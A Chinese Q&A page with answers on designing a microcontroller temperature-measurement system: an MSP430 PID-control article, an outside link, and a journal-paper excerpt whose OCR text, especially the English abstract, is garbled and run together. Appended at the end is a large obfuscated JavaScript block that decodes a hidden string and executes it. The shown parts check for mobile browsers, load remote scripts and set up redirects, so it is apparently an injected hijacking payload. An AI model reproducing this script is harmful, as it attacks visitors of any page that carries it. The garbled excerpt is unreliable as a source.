求《单片机温度测量系统设计》的相关资料!
资料尽量详细,字数多点。
推荐回答(4个)
要:本文介绍了一种基于MSP430 单片机的温度测控装置。该装置可实现对温度的测量,并能根据设定值对环境温度进行调节,实现控温的目的。控制算法基于数字PID算法。
0 引言
温度是工业控制中主要的被控参数之一,特别是在冶金、化工、建材、食品、机械、石油等工业中,具有举足重轻的作用。随着电子技术和微型计算机的迅速发展,微机测量和控制技术得到了迅速的发展和广泛的应用[1]。单片机具有处理能强、运行速度快、功耗低等优点,应用在温度测量与控制方面,控制简单方便,测量范围广,精度较高。
本文设计了一种基于MSP430单片机的温度测量和控制装置,能对环境温度进行测量,并能根据温度给定值给出调节量,控制执行机构,实现调节环境温度的目的。
1 整体方案设计
单片机温度控制系统是以MSP430单片机为控制核心。整个系统硬件部分包括温度检测系统、信号放大系统、A/D转换、单片机、I/O设备、控制执行系统等。
单片机温度控制系统控制框图如下所示:
温度传感器将温度信息变换为模拟电压信号后,将电压信号放大到单片机可以处理的范围内,经过低通滤波,滤掉干扰信号送入单片机。在单片机中对信号进行采样,为进一步提高测量精度,采样后对信号再进行数字滤波。单片机将检测到的温度信息与设定值进行比较,如果不相符,数字调节程序根据给定值与测得值的差值按PID控制算法设计控制量,触发程序根据控制量控制执行单元。如果检测值高于设定值,则启动制冷系统,降低环境温度;如果检测值低于设定值,则启动加热系统,提高环境温度,达到控制温度的目的。
2 温度信号检测
本系统中对检测精度要求不是很高,室温下即可,所以选用高精度热敏电阻作为温度传感器。热敏电阻具有灵敏度较高、稳定性强、互换精度高的特点。可使放大器电路极为简单, 又免去了互换补偿的麻烦。
热敏电阻具有负的电阻温度特性,当温度升高时,电阻值减小,它的阻值—温度特性曲线是一条指数曲线,非线性度较大。而对于本设计,因为温度要求不高,是在室温环境下,热敏电阻的阻值与环境温度基本呈线性关系[2],这样可以通过电阻分压简单地将温度值转化为电压值。
给热敏电阻通以恒定的电流,可得到电阻两端的电压,根据与热敏电阻特性有关的温度参数T0 以及特性系数k,可得下式
T=T0-kV(t) (1)
式中T为被测温度。
根据上式,可以把电阻值随温度的变化关系转化为电压值随温度变化的关系,由于热敏电阻的电信号一般都是毫伏级,必须经过放大,将热敏电阻测量到的电信号转化为0~3.6之间,才能在单片机中使用。
下图为放大电路原理图。稳压管的稳压值为1.5V。
由于传感器输出微弱的模拟信号,当信号中存在环境干扰时,干扰信号也被同时放大,影响检测的精度,需用滤波电路对先对模拟信号进行处理,以提高信号的抗干扰能力。本系统采用巴特沃斯二阶有源低通滤波电路。选取该巴特沃斯二阶有源低通滤波电路的截止频率
fH=10 kHz 。
3 控制系统设计
3.0 软件设计
单片机温度控制器控制温度范围100℃到400℃,采用通断控制,通过改变给定控制周期内加热和制冷设备的导通和关断时间,来提高和降低温度,以达到调节温度的目的。
软件设计中选取控制周期TC 为200(T1×C) ,导通时间取Pn ×T1×C ,其中Pn 为输出的控制量,Pn值介于0~200之间, T1 为定时器定时的时间,C为常数。由上两式可看出,通过改变T1 定时时间或常数C,就可改变控制周期TC 的大小。温度控制器控制的最高温度为400℃,当给定温度超过400℃时以400℃计算。
图3为采样中断流程图。
数模转换部分使用单片机自带的12位A/D转换器,能同时实现数模转换和控制,免去使用专用的转换芯片,使系统处理速度更快,精度更高,使电路简化。采样周期为500 μs ,当采集完16个点的数据以后,设置标志“nADCFlag =1”,通知主程序采集完16个点的数据,主程序从全局缓冲区里读出数据。
为进一步减小随机信号对系统精度的影响,A/D转换后,用平均值法对采样值进行数字滤波。每16个采样点取一次平均值。然后将计算到的平均值作为测量数据进行显示。同时,按照PID算法,对温度采样值和给定值之间的偏差进行控制,得到控制量。采样全过程完成后就可屏蔽采样中断,同时启动T1定时[3],进入控制过程。
温度值和热敏电阻的测量值在整个温度采样区间内基本呈线性变化,因此在程序中不需要对测量数据进行线性校正。MSP430的T1定时器中断作为控制中断,温度采样过程和控制输出过程采用了互锁结构,即在进行温度采样,温度值处理和运算等过程时T1不定时,待采样全过程进行完时再启动T1定时并同时屏蔽采样中断。T1定时开始就进入控制过程,在整个控制过程中都不采样,直到200(T1×C) 定时时间到,要开始新一轮的控制周期。在启动采样的同时屏蔽T1中断。
图4为T1定时中断流程图。
图中,M代表定时器控制周期计数值,N则表示由调节器计算出的控制量。首先判断控制周期TC是否己经结束。若控制周期TC已结束(即M=0),则屏蔽T1定时器中断,进行新一轮温度采样;若控制周期TC还未结束〔即M≠0 〕,则开始判断导通时间是否结束。若导通时间己结束(即N=0),则置输出控制信号为低,并重新赋常数C值,启动定时器定时,同时退出中断服务程序;若导通时间还未结束(即N ≠0 ),则置输出控制信号为高,控制执行其间继续导通,重新赋常数C值,启动定时器定时,同时退出中断服务程序。
3.1 数字PID
本文控制算法采用数字PID 控制,数字PID 算法表达式如下所示:
其中,KP 为比例系数;KI=KPT/TI 为积分系数;T 为采样周期,TI 为积分时间系数;KD=KPTD/T 为微分系数,TD 为微分时间系数。u(k) 为调节器第k次输出, e(k) 为第k 次给定与反馈偏差。
对于PID 调节器,当偏差值输出较大时,输出值会很大,可能导致系统不稳定,所以在实际中,需要对调节器的输出限幅[4],即当|u|>umax 时,令u=umax 或u=-umax ,或根据具体情况确定。
3.2 温度调节
PI 控制器根据温度给定值和测量值之间的偏差调节,给出调节量,再通过单片机输出PWM 波,调节可控硅的触发相位的相位角,以此来控制执行部件的关断和开启时间,达到使温度升高或降低的目的。随后整个系统再通过检测前一阶段控制后的温度,进行近一步的控制修正,最终实现预期的温度监控目的。
4 结论
本设计利用单片机低功耗、处理能力强的特点,使用单片机作为主控制器,对室内环境温度进行监控。其结构简单、可靠性较高,具有一定的实用价值和发展前景。
参考文献
[1] 赵丽娟,邵欣.基于单片机的温度监控系统的设计与实现.机械制造,2006,44(1)
[2] 张开生,郭国法.MCS-51 单片机温度控制系统的设计.微计算机信息,2005,(7)
[3] 沈建华,杨艳琴,翟骁曙..MSP430 系列16 位超低功耗单片机原理与应用.清华大学出版社,2004,148-155
[4] 赖寿宏.微型计算机控制技术.北京:机械工业出版社,1994:90-95
这个网站里面有单片机温度测量系统设计详细的论文和图表。图表这发不上来。直接告诉你地址: http://lasusu.cn/?q=31347
现代电子技术)2006年第21期总第236期》测试·测量·自动化司基于单片机的温度测量系统的设计刘跃辉’,王南山。,徐云强’(1.华中师范大学湖北武汉430079;2.武汉电力职业技术学院湖北武汉430079)摘要:温度测量是工业生产中的一个重要环节。采用石英晶体作为温度传感器,利用石英晶体对温度的灵敏度高、线性度好等优点,以80C552单片机为控制核心,实现了温度的高精度测量和测量结果的数字显示等技术。通过软件实现的数字滤波,减少了测量噪声。实验结果表明,系统设计合理、工作稳定可靠、温度测量精度高。同时给出了温度测量系统的硬件结构和软件设计。关键词:温度测量;单片机;数字滤波;80C552中图分类号:TP368.1文献标识码:B文章编号:1004—373X(2006)21—103—03DesignofTemperatureMeasurementBasedonSingleChipLIUYuehui’,WANGNanshan。,XUYunqiang’(1.HuazhongNormalUniversity,Wuhan,430079,China;2.WuhanElectricPowerTechnicalCollege,Wuhan,430079。China)Abstract:Temperaturemeasurementisanimportantpartintheindustries.Quartzcrystalhasthefollowingmerits:highsensitivitytotemperature,goodlinearityandSOon.BasedODtheabovemerits。ahighprecisiontemperaturemeasurementwithdigitaldisplayiscarriedout,inwhichthequartzcrystalasatemperaturesensorandthe80C552MCUasacontrolcorearea—dopted.Andwedesignadigitalfilterrealizingbysoftwaretoreducethemeasurenoise.Thispaperillustratesthehardwarestructureandsoftwaredesignofthetemperaturemeasurementsystem.Theexperimentresultsshowthatthesystemhasthereasonabledesign,thegooddependabilityandhighmeasurementprecision.Keywords:temperaturemeasurement;singlechip;digitalfilter;80C552温度测量是工业生产中的一个重要环节。因为单片机体积小、价格便宜、具有通用性和灵活性,利用单片机设计温度测量系统,既可满足功能要求,又经济实惠。他不但面向控制,可靠性高,抗干扰能力强,而且具有掉电保护功能。另外,他的I/O接口功能很强,便于系统扩展,应用研制周期短,开发效率高。本文将主要讨论基于单片机的温度测量系统的硬件和软件系统的设计问题。1系统硬件组成如图1所示,单片机测量系统一般由前向通道、单片机、后向通道组成。前向通道是单片机对被控参数的输入通道,后向通道是单片机把处理后的数字量进行传递、输出、控制和调节的通道。1.1以80C552为核心的温度测量系统的总体结构本设计方案采用如图2所示的结构。该系统由80C552芯片、共阴极7段LED数码管、EPROM2764(或27128)、锁存器741。$373、采集收稿日期:2006—05一lO信号的变送器、晶体振荡电路和复位电路组成。其中,80C552芯片的P3.4引脚为温度测量电路信号输入端。图1单片机测量系统的结构框图一—一图2以80C552为核心的温度测量系统框图80C552单片机的68个引脚共分为端口线、电源线和103
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();